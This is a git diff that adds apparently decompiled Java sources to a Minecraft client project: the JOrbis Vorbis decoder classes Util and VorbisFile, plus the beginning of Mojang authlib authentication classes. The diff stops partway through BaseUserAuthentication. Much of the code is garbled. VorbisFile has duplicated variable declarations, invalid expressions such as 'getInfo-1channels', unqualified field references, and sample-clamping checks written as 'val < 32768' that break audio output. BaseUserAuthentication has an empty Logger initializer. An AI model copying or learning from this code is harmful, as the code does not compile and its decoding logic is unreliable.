diff --git a/src/minecraft/com/jcraft/jorbis/Util.java b/src/minecraft/com/jcraft/jorbis/Util.java
new file mode 100644
index 0000000..d9d6a7b
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Util.java
@@ -0,0 +1,30 @@
+package com.jcraft.jorbis;
+
+class Util { Util() {}
+  
+  static int ilog(int v) { int ret = 0;
+    while (v != 0) {
+      ret++;
+      v >>>= 1;
+    }
+    return ret;
+  }
+  
+  static int ilog2(int v) {
+    int ret = 0;
+    while (v > 1) {
+      ret++;
+      v >>>= 1;
+    }
+    return ret;
+  }
+  
+  static int icount(int v) {
+    int ret = 0;
+    while (v != 0) {
+      ret += (v & 0x1);
+      v >>>= 1;
+    }
+    return ret;
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/VorbisFile.java b/src/minecraft/com/jcraft/jorbis/VorbisFile.java
new file mode 100644
index 0000000..39836cb
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/VorbisFile.java
@@ -0,0 +1,1396 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Packet;
+import com.jcraft.jogg.Page;
+import com.jcraft.jogg.StreamState;
+import com.jcraft.jogg.SyncState;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class VorbisFile
+{
+  static final int CHUNKSIZE = 8500;
+  static final int SEEK_SET = 0;
+  static final int SEEK_CUR = 1;
+  static final int SEEK_END = 2;
+  static final int OV_FALSE = -1;
+  static final int OV_EOF = -2;
+  static final int OV_HOLE = -3;
+  static final int OV_EREAD = -128;
+  static final int OV_EFAULT = -129;
+  static final int OV_EIMPL = -130;
+  static final int OV_EINVAL = -131;
+  static final int OV_ENOTVORBIS = -132;
+  static final int OV_EBADHEADER = -133;
+  static final int OV_EVERSION = -134;
+  static final int OV_ENOTAUDIO = -135;
+  static final int OV_EBADPACKET = -136;
+  static final int OV_EBADLINK = -137;
+  static final int OV_ENOSEEK = -138;
+  InputStream datasource;
+  boolean seekable = false;
+  
+  long offset;
+  long end;
+  SyncState oy = new SyncState();
+  
+  int links;
+  
+  long[] offsets;
+  
+  long[] dataoffsets;
+  int[] serialnos;
+  long[] pcmlengths;
+  Info[] vi;
+  Comment[] vc;
+  long pcm_offset;
+  boolean decode_ready = false;
+  
+  int current_serialno;
+  
+  int current_link;
+  
+  float bittrack;
+  float samptrack;
+  StreamState os = new StreamState();
+  
+  DspState vd = new DspState();
+  
+  Block vb = new Block(vd);
+  
+
+  public VorbisFile(String file)
+    throws JOrbisException
+  {
+    InputStream is = null;
+    try {
+      is = new SeekableInputStream(file);
+      int ret = open(is, null, 0);
+      if (ret == -1) {
+        throw new JOrbisException("VorbisFile: open return -1");
+      }
+      return;
+    } catch (Exception e) {
+      throw new JOrbisException("VorbisFile: " + e.toString());
+    }
+    finally {
+      if (is != null) {
+        try {
+          is.close();
+        }
+        catch (IOException e) {
+          e.printStackTrace();
+        }
+      }
+    }
+  }
+  
+  public VorbisFile(InputStream is, byte[] initial, int ibytes)
+    throws JOrbisException
+  {
+    int ret = open(is, initial, ibytes);
+    if (ret == -1) {}
+  }
+  
+  private int get_data()
+  {
+    int index = oy.buffer(8500);
+    byte[] buffer = oy.data;
+    int bytes = 0;
+    try {
+      bytes = datasource.read(buffer, index, 8500);
+    }
+    catch (Exception e) {
+      return -128;
+    }
+    oy.wrote(bytes);
+    if (bytes == -1) {
+      bytes = 0;
+    }
+    return bytes;
+  }
+  
+  private void seek_helper(long offst) {
+    fseek(datasource, offst, 0);
+    offset = offst;
+    oy.reset();
+  }
+  
+  private int get_next_page(Page page, long boundary) {
+    if (boundary > 0L) {
+      boundary += offset;
+    }
+    for (;;) {
+      if ((boundary > 0L) && (offset >= boundary))
+        return -1;
+      int more = oy.pageseek(page);
+      if (more < 0) {
+        offset -= more;
+
+      }
+      else if (more == 0) {
+        if (boundary == 0L)
+          return -1;
+        int ret = get_data();
+        if (ret == 0)
+          return -2;
+        if (ret < 0) {
+          return -128;
+        }
+      } else {
+        int ret = (int)offset;
+        offset += more;
+        return ret;
+      }
+    }
+  }
+  
+  private int get_prev_page(Page page) throws JOrbisException
+  {
+    long begin = offset;
+    
+    int offst = -1;
+    label97: while (offst == -1) {
+      begin -= 8500L;
+      if (begin < 0L)
+        begin = 0L;
+      seek_helper(begin);
+      for (;;) { if (offset >= begin + 8500L) break label97;
+        int ret = get_next_page(page, begin + 8500L - offset);
+        if (ret == -128) {
+          return -128;
+        }
+        if (ret < 0) {
+          if (offst != -1) break;
+          throw new JOrbisException();
+        }
+        
+
+        offst = ret;
+      }
+    }
+    
+    seek_helper(offst);
+    int ret = get_next_page(page, 8500L);
+    if (ret < 0) {
+      return 65407;
+    }
+    return offst;
+  }
+  
+  int bisect_forward_serialno(long begin, long searched, long end, int currentno, int m)
+  {
+    long endsearched = end;
+    long next = end;
+    Page page = new Page();
+    
+
+    while (searched < endsearched) { long bisect;
+      long bisect;
+      if (endsearched - searched < 8500L) {
+        bisect = searched;
+      }
+      else {
+        bisect = (searched + endsearched) / 2L;
+      }
+      
+      seek_helper(bisect);
+      int ret = get_next_page(page, -1L);
+      if (ret == -128)
+        return -128;
+      if ((ret < 0) || (page.serialno() != currentno)) {
+        endsearched = bisect;
+        if (ret >= 0) {
+          next = ret;
+        }
+      } else {
+        searched = ret + header_len + body_len;
+      }
+    }
+    seek_helper(next);
+    int ret = get_next_page(page, -1L);
+    if (ret == -128) {
+      return -128;
+    }
+    if ((searched >= end) || (ret == -1)) {
+      links = (m + 1);
+      offsets = new long[m + 2];
+      offsets[(m + 1)] = searched;
+    }
+    else {
+      ret = bisect_forward_serialno(next, offset, end, page.serialno(), m + 1);
+      if (ret == -128)
+        return -128;
+    }
+    offsets[m] = begin;
+    return 0;
+  }
+  
+
+  int fetch_headers(Info vi, Comment vc, int[] serialno, Page og_ptr)
+  {
+    Page og = new Page();
+    Packet op = new Packet();
+    
+
+    if (og_ptr == null) {
+      int ret = get_next_page(og, 8500L);
+      if (ret == -128)
+        return -128;
+      if (ret < 0)
+        return 65404;
+      og_ptr = og;
+    }
+    
+    if (serialno != null) {
+      serialno[0] = og_ptr.serialno();
+    }
+    os.init(og_ptr.serialno());
+    
+
+
+
+    vi.init();
+    vc.init();
+    
+    int i = 0;
+    while (i < 3) {
+      os.pagein(og_ptr);
+      while (i < 3) {
+        int result = os.packetout(op);
+        if (result == 0)
+          break;
+        if (result == -1) {
+          vi.clear();
+          vc.clear();
+          os.clear();
+          return -1;
+        }
+        if (vi.synthesis_headerin(vc, op) != 0) {
+          vi.clear();
+          vc.clear();
+          os.clear();
+          return -1;
+        }
+        i++;
+      }
+      if ((i < 3) && 
+        (get_next_page(og_ptr, 1L) < 0)) {
+        vi.clear();
+        vc.clear();
+        os.clear();
+        return -1;
+      }
+    }
+    return 0;
+  }
+  
+
+
+
+  void prefetch_all_headers(Info first_i, Comment first_c, int dataoffset)
+    throws JOrbisException
+  {
+    Page og = new Page();
+    
+
+    vi = new Info[links];
+    vc = new Comment[links];
+    dataoffsets = new long[links];
+    pcmlengths = new long[links];
+    serialnos = new int[links];
+    
+    for (int i = 0; i < links; i++) {
+      if ((first_i != null) && (first_c != null) && (i == 0))
+      {
+
+        vi[i] = first_i;
+        vc[i] = first_c;
+        dataoffsets[i] = dataoffset;
+      }
+      else
+      {
+        seek_helper(offsets[i]);
+        vi[i] = new Info();
+        vc[i] = new Comment();
+        if (fetch_headers(vi[i], vc[i], null, null) == -1) {
+          dataoffsets[i] = -1L;
+        }
+        else {
+          dataoffsets[i] = offset;
+          os.clear();
+        }
+      }
+      
+
+
+
+      long end = offsets[(i + 1)];
+      seek_helper(end);
+      do
+      {
+        int ret = get_prev_page(og);
+        if (ret == -1)
+        {
+          vi[i].clear();
+          vc[i].clear();
+          break;
+        }
+      } while (og.granulepos() == -1L);
+      serialnos[i] = og.serialno();
+      pcmlengths[i] = og.granulepos();
+    }
+  }
+  
+
+
+
+  private int make_decode_ready()
+  {
+    if (decode_ready)
+      System.exit(1);
+    vd.synthesis_init(vi[0]);
+    vb.init(vd);
+    decode_ready = true;
+    return 0;
+  }
+  
+  int open_seekable() throws JOrbisException {
+    Info initial_i = new Info();
+    Comment initial_c = new Comment();
+    
+
+
+
+    Page og = new Page();
+    
+    int[] foo = new int[1];
+    int ret = fetch_headers(initial_i, initial_c, foo, null);
+    int serialno = foo[0];
+    int dataoffset = (int)offset;
+    os.clear();
+    if (ret == -1)
+      return -1;
+    if (ret < 0) {
+      return ret;
+    }
+    seekable = true;
+    fseek(datasource, 0L, 2);
+    offset = ftell(datasource);
+    long end = offset;
+    
+
+    end = get_prev_page(og);
+    
+    if (og.serialno() != serialno)
+    {
+
+      if (bisect_forward_serialno(0L, 0L, end + 1L, serialno, 0) < 0) {
+        clear();
+        return -128;
+      }
+      
+
+    }
+    else if (bisect_forward_serialno(0L, end, end + 1L, serialno, 0) < 0) {
+      clear();
+      return -128;
+    }
+    
+    prefetch_all_headers(initial_i, initial_c, dataoffset);
+    return 0;
+  }
+  
+  int open_nonseekable()
+  {
+    links = 1;
+    vi = new Info[links];
+    vi[0] = new Info();
+    vc = new Comment[links];
+    vc[0] = new Comment();
+    
+
+    int[] foo = new int[1];
+    if (fetch_headers(vi[0], vc[0], foo, null) == -1)
+      return -1;
+    current_serialno = foo[0];
+    make_decode_ready();
+    return 0;
+  }
+  
+  void decode_clear()
+  {
+    os.clear();
+    vd.clear();
+    vb.clear();
+    decode_ready = false;
+    bittrack = 0.0F;
+    samptrack = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+  int process_packet(int readp)
+  {
+    Page og = new Page();
+    
+
+
+
+    for (;;)
+    {
+      if (decode_ready) {
+        Packet op = new Packet();
+        int result = os.packetout(op);
+        
+
+
+
+        if (result > 0)
+        {
+          long granulepos = granulepos;
+          if (vb.synthesis(op) == 0)
+          {
+
+
+
+
+
+
+
+            int oldsamples = vd.synthesis_pcmout((float[][][])null, null);
+            vd.synthesis_blockin(vb);
+            samptrack += vd.synthesis_pcmout((float[][][])null, null) - oldsamples;
+            bittrack += bytes * 8;
+            
+
+
+            if ((granulepos != -1L) && (e_o_s == 0)) {
+              int link = seekable ? current_link : 0;
+              
+
+
+
+
+
+
+
+
+
+
+
+
+              int samples = vd.synthesis_pcmout((float[][][])null, null);
+              granulepos -= samples;
+              for (int i = 0; i < link; i++) {
+                granulepos += pcmlengths[i];
+              }
+              pcm_offset = granulepos;
+            }
+            return 1;
+          }
+        }
+      }
+      
+      if (readp == 0)
+        return 0;
+      if (get_next_page(og, -1L) < 0) {
+        return 0;
+      }
+      
+
+      bittrack += header_len * 8;
+      
+
+      if ((decode_ready) && 
+        (current_serialno != og.serialno())) {
+        decode_clear();
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+      if (!decode_ready) {
+        int i;
+        if (seekable) {
+          current_serialno = og.serialno();
+          
+
+
+
+          for (int i = 0; i < links; i++) {
+            if (serialnos[i] == current_serialno)
+              break;
+          }
+          if (i == links) {
+            return -1;
+          }
+          current_link = i;
+          
+          os.init(current_serialno);
+          os.reset();
+
+        }
+        else
+        {
+
+          int[] foo = new int[1];
+          int ret = fetch_headers(vi[0], vc[0], foo, og);
+          current_serialno = foo[0];
+          if (ret != 0)
+            return ret;
+          current_link += 1;
+          i = 0;
+        }
+        make_decode_ready();
+      }
+      os.pagein(og);
+    }
+  }
+  
+
+  int clear()
+  {
+    vb.clear();
+    vd.clear();
+    os.clear();
+    
+    if ((vi != null) && (links != 0)) {
+      for (int i = 0; i < links; i++) {
+        vi[i].clear();
+        vc[i].clear();
+      }
+      vi = null;
+      vc = null;
+    }
+    if (dataoffsets != null)
+      dataoffsets = null;
+    if (pcmlengths != null)
+      pcmlengths = null;
+    if (serialnos != null)
+      serialnos = null;
+    if (offsets != null)
+      offsets = null;
+    oy.clear();
+    
+    return 0;
+  }
+  
+  static int fseek(InputStream fis, long off, int whence) {
+    if ((fis instanceof SeekableInputStream)) {
+      SeekableInputStream sis = (SeekableInputStream)fis;
+      try {
+        if (whence == 0) {
+          sis.seek(off);
+        }
+        else if (whence == 2) {
+          sis.seek(sis.getLength() - off);
+        }
+      }
+      catch (Exception e) {}
+      
+
+
+      return 0;
+    }
+    try {
+      if (whence == 0) {
+        fis.reset();
+      }
+      fis.skip(off);
+    }
+    catch (Exception e) {
+      return -1;
+    }
+    return 0;
+  }
+  
+  static long ftell(InputStream fis) {
+    try {
+      if ((fis instanceof SeekableInputStream)) {
+        SeekableInputStream sis = (SeekableInputStream)fis;
+        return sis.tell();
+      }
+    }
+    catch (Exception e) {}
+    
+    return 0L;
+  }
+  
+
+
+
+
+
+  int open(InputStream is, byte[] initial, int ibytes)
+    throws JOrbisException
+  {
+    return open_callbacks(is, initial, ibytes);
+  }
+  
+  int open_callbacks(InputStream is, byte[] initial, int ibytes)
+    throws JOrbisException
+  {
+    datasource = is;
+    
+    oy.init();
+    
+
+
+
+
+    if (initial != null) {
+      int index = oy.buffer(ibytes);
+      System.arraycopy(initial, 0, oy.data, index, ibytes);
+      oy.wrote(ibytes); }
+    int ret;
+    int ret;
+    if ((is instanceof SeekableInputStream)) {
+      ret = open_seekable();
+    }
+    else {
+      ret = open_nonseekable();
+    }
+    if (ret != 0) {
+      datasource = null;
+      clear();
+    }
+    return ret;
+  }
+  
+  public int streams()
+  {
+    return links;
+  }
+  
+  public boolean seekable()
+  {
+    return seekable;
+  }
+  
+
+
+
+
+
+
+
+
+  public int bitrate(int i)
+  {
+    if (i >= links)
+      return -1;
+    if ((!seekable) && (i != 0))
+      return bitrate(0);
+    if (i < 0) {
+      long bits = 0L;
+      for (int j = 0; j < links; j++) {
+        bits += (offsets[(j + 1)] - dataoffsets[j]) * 8L;
+      }
+      return (int)Math.rint((float)bits / time_total(-1));
+    }
+    
+    if (seekable)
+    {
+      return (int)Math.rint((float)((offsets[(i + 1)] - dataoffsets[i]) * 8L) / time_total(i));
+    }
+    
+
+    if (vi[i].bitrate_nominal > 0) {
+      return vi[i].bitrate_nominal;
+    }
+    
+    if (vi[i].bitrate_upper > 0) {
+      if (vi[i].bitrate_lower > 0) {
+        return (vi[i].bitrate_upper + vi[i].bitrate_lower) / 2;
+      }
+      
+      return vi[i].bitrate_upper;
+    }
+    
+    return -1;
+  }
+  
+
+
+
+
+  public int bitrate_instant()
+  {
+    int _link = seekable ? current_link : 0;
+    if (samptrack == 0.0F)
+      return -1;
+    int ret = (int)(bittrack / samptrack * vi[_link].rate + 0.5D);
+    bittrack = 0.0F;
+    samptrack = 0.0F;
+    return ret;
+  }
+  
+  public int serialnumber(int i) {
+    if (i >= links)
+      return -1;
+    if ((!seekable) && (i >= 0))
+      return serialnumber(-1);
+    if (i < 0) {
+      return current_serialno;
+    }
+    
+    return serialnos[i];
+  }
+  
+
+
+
+
+  public long raw_total(int i)
+  {
+    if ((!seekable) || (i >= links))
+      return -1L;
+    if (i < 0) {
+      long acc = 0L;
+      for (int j = 0; j < links; j++) {
+        acc += raw_total(j);
+      }
+      return acc;
+    }
+    
+    return offsets[(i + 1)] - offsets[i];
+  }
+  
+
+
+
+  public long pcm_total(int i)
+  {
+    if ((!seekable) || (i >= links))
+      return -1L;
+    if (i < 0) {
+      long acc = 0L;
+      for (int j = 0; j < links; j++) {
+        acc += pcm_total(j);
+      }
+      return acc;
+    }
+    
+    return pcmlengths[i];
+  }
+  
+
+
+
+  public float time_total(int i)
+  {
+    if ((!seekable) || (i >= links))
+      return -1.0F;
+    if (i < 0) {
+      float acc = 0.0F;
+      for (int j = 0; j < links; j++) {
+        acc += time_total(j);
+      }
+      return acc;
+    }
+    
+    return (float)pcmlengths[i] / vi[i].rate;
+  }
+  
+
+
+
+
+
+
+
+
+  public int raw_seek(int pos)
+  {
+    if (!seekable)
+      return -1;
+    if ((pos < 0) || (pos > offsets[links]))
+    {
+      pcm_offset = -1L;
+      decode_clear();
+      return -1;
+    }
+    
+
+    pcm_offset = -1L;
+    decode_clear();
+    
+
+    seek_helper(pos);
+    
+
+
+
+
+
+
+    switch (process_packet(1))
+    {
+
+    case 0: 
+      pcm_offset = pcm_total(-1);
+      return 0;
+    
+
+    case -1: 
+      pcm_offset = -1L;
+      decode_clear();
+      return -1;
+    }
+    
+    
+    for (;;)
+    {
+      switch (process_packet(0))
+      {
+
+
+      case 0: 
+        return 0;
+      
+
+      case -1: 
+        pcm_offset = -1L;
+        decode_clear();
+        return -1;
+      }
+      
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int pcm_seek(long pos)
+  {
+    int link = -1;
+    long total = pcm_total(-1);
+    
+    if (!seekable)
+      return -1;
+    if ((pos < 0L) || (pos > total))
+    {
+      pcm_offset = -1L;
+      decode_clear();
+      return -1;
+    }
+    
+
+    for (link = links - 1; link >= 0; link--) {
+      total -= pcmlengths[link];
+      if (pos >= total) {
+        break;
+      }
+    }
+    
+
+
+
+
+
+    long target = pos - total;
+    long end = offsets[(link + 1)];
+    long begin = offsets[link];
+    int best = (int)begin;
+    
+    Page og = new Page();
+    while (begin < end)
+    {
+      long bisect;
+      long bisect;
+      if (end - begin < 8500L) {
+        bisect = begin;
+      }
+      else {
+        bisect = (end + begin) / 2L;
+      }
+      
+      seek_helper(bisect);
+      int ret = get_next_page(og, end - bisect);
+      
+      if (ret == -1) {
+        end = bisect;
+      }
+      else {
+        long granulepos = og.granulepos();
+        if (granulepos < target) {
+          best = ret;
+          begin = offset;
+        }
+        else {
+          end = bisect;
+        }
+      }
+    }
+    
+    if (raw_seek(best) != 0)
+    {
+      pcm_offset = -1L;
+      decode_clear();
+      return -1;
+    }
+    
+
+
+    if (pcm_offset >= pos)
+    {
+      pcm_offset = -1L;
+      decode_clear();
+      return -1;
+    }
+    if (pos > pcm_total(-1))
+    {
+      pcm_offset = -1L;
+      decode_clear();
+      return -1;
+    }
+    
+
+
+    while (pcm_offset < pos) {
+      int target = (int)(pos - pcm_offset);
+      float[][][] _pcm = new float[1][][];
+      int[] _index = new int[getInfo-1channels];
+      int samples = vd.synthesis_pcmout(_pcm, _index);
+      
+      if (samples > target)
+        samples = target;
+      vd.synthesis_read(samples);
+      pcm_offset += samples;
+      
+      if ((samples < target) && 
+        (process_packet(1) == 0)) {
+        pcm_offset = pcm_total(-1);
+      }
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  int time_seek(float seconds)
+  {
+    int link = -1;
+    long pcm_total = pcm_total(-1);
+    float time_total = time_total(-1);
+    
+    if (!seekable)
+      return -1;
+    if ((seconds < 0.0F) || (seconds > time_total))
+    {
+      pcm_offset = -1L;
+      decode_clear();
+      return -1;
+    }
+    
+
+    for (link = links - 1; link >= 0; link--) {
+      pcm_total -= pcmlengths[link];
+      time_total -= time_total(link);
+      if (seconds >= time_total) {
+        break;
+      }
+    }
+    
+
+    long target = ((float)pcm_total + (seconds - time_total) * vi[link].rate);
+    return pcm_seek(target);
+  }
+  
+
+
+
+
+
+
+
+
+  public long raw_tell()
+  {
+    return offset;
+  }
+  
+  public long pcm_tell()
+  {
+    return pcm_offset;
+  }
+  
+
+
+  public float time_tell()
+  {
+    int link = -1;
+    long pcm_total = 0L;
+    float time_total = 0.0F;
+    
+    if (seekable) {
+      pcm_total = pcm_total(-1);
+      time_total = time_total(-1);
+      
+
+      for (link = links - 1; link >= 0; link--) {
+        pcm_total -= pcmlengths[link];
+        time_total -= time_total(link);
+        if (pcm_offset >= pcm_total) {
+          break;
+        }
+      }
+    }
+    return time_total + (float)(pcm_offset - pcm_total) / vi[link].rate;
+  }
+  
+
+
+
+
+
+
+
+  public Info getInfo(int link)
+  {
+    if (seekable) {
+      if (link < 0) {
+        if (decode_ready) {
+          return vi[current_link];
+        }
+        
+        return null;
+      }
+      
+
+      if (link >= links) {
+        return null;
+      }
+      
+      return vi[link];
+    }
+    
+
+
+    if (decode_ready) {
+      return vi[0];
+    }
+    
+    return null;
+  }
+  
+
+  public Comment getComment(int link)
+  {
+    if (seekable) {
+      if (link < 0) {
+        if (decode_ready) {
+          return vc[current_link];
+        }
+        
+        return null;
+      }
+      
+
+      if (link >= links) {
+        return null;
+      }
+      
+      return vc[link];
+    }
+    
+
+
+    if (decode_ready) {
+      return vc[0];
+    }
+    
+    return null;
+  }
+  
+
+  int host_is_big_endian()
+  {
+    return 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  int read(byte[] buffer, int length, int bigendianp, int word, int sgned, int[] bitstream)
+  {
+    int host_endian = host_is_big_endian();
+    int index = 0;
+    for (;;)
+    {
+      if (decode_ready)
+      {
+        float[][][] _pcm = new float[1][][];
+        int[] _index = new int[getInfo-1channels];
+        int samples = vd.synthesis_pcmout(_pcm, _index);
+        float[][] pcm = _pcm[0];
+        if (samples != 0)
+        {
+          int channels = getInfo-1channels;
+          int bytespersample = word * channels;
+          if (samples > length / bytespersample) {
+            samples = length / bytespersample;
+          }
+          
+
+
+          if (word == 1) {
+            int off = sgned != 0 ? 0 : 128;
+            for (int j = 0; j < samples; j++) {
+              for (int i = 0; i < channels; i++) {
+                int val = (int)(pcm[i][(_index[i] + j)] * 128.0D + 0.5D);
+                if (val > 127) {
+                  val = 127;
+                } else if (val < -128)
+                  val = -128;
+                buffer[(index++)] = ((byte)(val + off));
+              }
+            }
+          }
+          else {
+            int off = sgned != 0 ? 0 : 32768;
+            
+            if (host_endian == bigendianp) {
+              if (sgned != 0) {
+                for (int i = 0; i < channels; i++) {
+                  int src = _index[i];
+                  int dest = i;
+                  for (int j = 0; j < samples; j++) {
+                    int val = (int)(pcm[i][(src + j)] * 32768.0D + 0.5D);
+                    if (val > 32767) {
+                      val = 32767;
+                    } else if (val < 32768)
+                      val = 32768;
+                    buffer[dest] = ((byte)(val >>> 8));
+                    buffer[(dest + 1)] = ((byte)val);
+                    dest += channels * 2;
+                  }
+                  
+                }
+              } else {
+                for (int i = 0; i < channels; i++) {
+                  float[] src = pcm[i];
+                  int dest = i;
+                  for (int j = 0; j < samples; j++) {
+                    int val = (int)(src[j] * 32768.0D + 0.5D);
+                    if (val > 32767) {
+                      val = 32767;
+                    } else if (val < 32768)
+                      val = 32768;
+                    buffer[dest] = ((byte)(val + off >>> 8));
+                    buffer[(dest + 1)] = ((byte)(val + off));
+                    dest += channels * 2;
+                  }
+                }
+              }
+            }
+            else if (bigendianp != 0) {
+              for (int j = 0; j < samples; j++) {
+                for (int i = 0; i < channels; i++) {
+                  int val = (int)(pcm[i][j] * 32768.0D + 0.5D);
+                  if (val > 32767) {
+                    val = 32767;
+                  } else if (val < 32768)
+                    val = 32768;
+                  val += off;
+                  buffer[(index++)] = ((byte)(val >>> 8));
+                  buffer[(index++)] = ((byte)val);
+                }
+                
+              }
+              
+            } else {
+              for (int j = 0; j < samples; j++) {
+                for (int i = 0; i < channels; i++) {
+                  int val = (int)(pcm[i][j] * 32768.0D + 0.5D);
+                  if (val > 32767) {
+                    val = 32767;
+                  } else if (val < 32768)
+                    val = 32768;
+                  val += off;
+                  buffer[(index++)] = ((byte)val);
+                  buffer[(index++)] = ((byte)(val >>> 8));
+                }
+              }
+            }
+          }
+          
+
+          vd.synthesis_read(samples);
+          pcm_offset += samples;
+          if (bitstream != null)
+            bitstream[0] = current_link;
+          return samples * bytespersample;
+        }
+      }
+      
+
+      switch (process_packet(1)) {
+      case 0: 
+        return 0;
+      case -1: 
+        return -1;
+      }
+      
+    }
+  }
+  
+  public Info[] getInfo()
+  {
+    return vi;
+  }
+  
+  public Comment[] getComment() {
+    return vc;
+  }
+  
+  public void close() throws IOException {
+    datasource.close();
+  }
+  
+  class SeekableInputStream extends InputStream {
+    RandomAccessFile raf = null;
+    final String mode = "r";
+    
+    SeekableInputStream(String file) throws IOException {
+      raf = new RandomAccessFile(file, "r");
+    }
+    
+    public int read() throws IOException {
+      return raf.read();
+    }
+    
+    public int read(byte[] buf) throws IOException {
+      return raf.read(buf);
+    }
+    
+    public int read(byte[] buf, int s, int len) throws IOException {
+      return raf.read(buf, s, len);
+    }
+    
+    public long skip(long n) throws IOException {
+      return raf.skipBytes((int)n);
+    }
+    
+    public long getLength() throws IOException {
+      return raf.length();
+    }
+    
+    public long tell() throws IOException {
+      return raf.getFilePointer();
+    }
+    
+    public int available() throws IOException {
+      return raf.length() == raf.getFilePointer() ? 0 : 1;
+    }
+    
+    public void close() throws IOException {
+      raf.close();
+    }
+    
+    public synchronized void mark(int m) {}
+    
+    public synchronized void reset() throws IOException
+    {}
+    
+    public boolean markSupported()
+    {
+      return false;
+    }
+    
+    public void seek(long pos) throws IOException {
+      raf.seek(pos);
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/Agent.java b/src/minecraft/com/mojang/authlib/Agent.java
new file mode 100644
index 0000000..a2fa5de
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/Agent.java
@@ -0,0 +1,27 @@
+package com.mojang.authlib;
+
+public class Agent {
+  public static final Agent MINECRAFT = new Agent("Minecraft", 1);
+  public static final Agent SCROLLS = new Agent("Scrolls", 1);
+  private final String name;
+  private final int version;
+  
+  public Agent(String name, int version)
+  {
+    this.name = name;
+    this.version = version;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  public int getVersion() {
+    return version;
+  }
+  
+  public String toString()
+  {
+    return "Agent{name='" + name + '\'' + ", version=" + version + '}';
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/AuthenticationService.java b/src/minecraft/com/mojang/authlib/AuthenticationService.java
new file mode 100644
index 0000000..d02fda2
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/AuthenticationService.java
@@ -0,0 +1,12 @@
+package com.mojang.authlib;
+
+import com.mojang.authlib.minecraft.MinecraftSessionService;
+
+public abstract interface AuthenticationService
+{
+  public abstract UserAuthentication createUserAuthentication(Agent paramAgent);
+  
+  public abstract MinecraftSessionService createMinecraftSessionService();
+  
+  public abstract GameProfileRepository createProfileRepository();
+}
diff --git a/src/minecraft/com/mojang/authlib/BaseAuthenticationService.java b/src/minecraft/com/mojang/authlib/BaseAuthenticationService.java
new file mode 100644
index 0000000..28c832e
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/BaseAuthenticationService.java
@@ -0,0 +1,7 @@
+package com.mojang.authlib;
+
+public abstract class BaseAuthenticationService
+  implements AuthenticationService
+{
+  public BaseAuthenticationService() {}
+}
diff --git a/src/minecraft/com/mojang/authlib/BaseUserAuthentication.java b/src/minecraft/com/mojang/authlib/BaseUserAuthentication.java
new file mode 100644
index 0000000..164f7d9
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/BaseUserAuthentication.java
@@ -0,0 +1,268 @@
+package com.mojang.authlib;
+
+import com.mojang.authlib.properties.Property;
+import com.mojang.authlib.properties.PropertyMap;
+import com.mojang.util.UUIDTypeAdapter;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.commons.lang3.Validate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public abstract class BaseUserAuthentication implements UserAuthentication
+{
+  private static final Logger LOGGER = ;
+  
+  protected static final String STORAGE_KEY_PROFILE_NAME = "displayName";
+  
+  protected static final String STORAGE_KEY_PROFILE_ID = "uuid";
+  protected static final String STORAGE_KEY_PROFILE_PROPERTIES = "profileProperties";
+  protected static final String STORAGE_KEY_USER_NAME = "username";
+  protected static final String STORAGE_KEY_USER_ID = "userid";
+  protected static final String STORAGE_KEY_USER_PROPERTIES = "userProperties";
+  private final AuthenticationService authenticationService;
+  private final PropertyMap userProperties = new PropertyMap();
+  private String userid;
+  private String username;
+  private String password;
+  private GameProfile selectedProfile;
+  private UserType userType;
+  
+  protected BaseUserAuthentication(AuthenticationService authenticationService) {
+    Validate.notNull(authenticationService);
+    this.authenticationService = authenticationService;
+  }
+  
+  public boolean canLogIn()
+  {
+    return (!canPlayOnline()) && (StringUtils.isNotBlank(getUsername())) && (StringUtils.isNotBlank(getPassword()));
+  }
+  
+  public void logOut()
+  {
+    password = null;
+    userid = null;
+    setSelectedProfile(null);
+    getModifiableUserProperties().clear();
+    setUserType(null);
+  }
+  
+  public boolean isLoggedIn()
+  {
+    return getSelectedProfile() != null;
+  }
+  
+  public void setUsername(String username)
+  {
+    if ((isLoggedIn()) && (canPlayOnline())) {
+      throw new IllegalStateException("Cannot change username whilst logged in & online");
+    }
+    
+    this.username = username;
+  }
+  
+  public void setPassword(String password)
+  {
+    if ((isLoggedIn()) && (canPlayOnline()) && (StringUtils.isNotBlank(password))) {
+      throw new IllegalStateException("Cannot set password whilst logged in & online");
+    }
+    
+    this.password = password;
+  }
+  
+  protected String getUsername() {
+    return username;
+  }
+  
+  protected String getPassword() {
+    return password;
+  }
+  
+
+  public void loadFromStorage(Map<String, Object> credentials)
+  {
+    logOut();
+    
+    setUsername(String.valueOf(credentials.get("username")));
+    
+    if (credentials.containsKey("userid")) {
+      userid = String.valueOf(credentials.get("userid"));
+    } else {
+      userid = username;
+    }
+    
+    if (credentials.containsKey("userProperties")) {
+      try {
+        List<Map<String, String>> list = (List)credentials.get("userProperties");
+        
+        for (Map<String, String> propertyMap : list) {
+          String name = (String)propertyMap.get("name");
+          String value = (String)propertyMap.get("value");
+          String signature = (String)propertyMap.get("signature");
+          
+          if (signature == null) {
+            getModifiableUserProperties().put(name, new Property(name, value));
+          } else {
+            getModifiableUserProperties().put(name, new Property(name, value, signature));
+          }
+        }
+      } catch (Throwable t) {
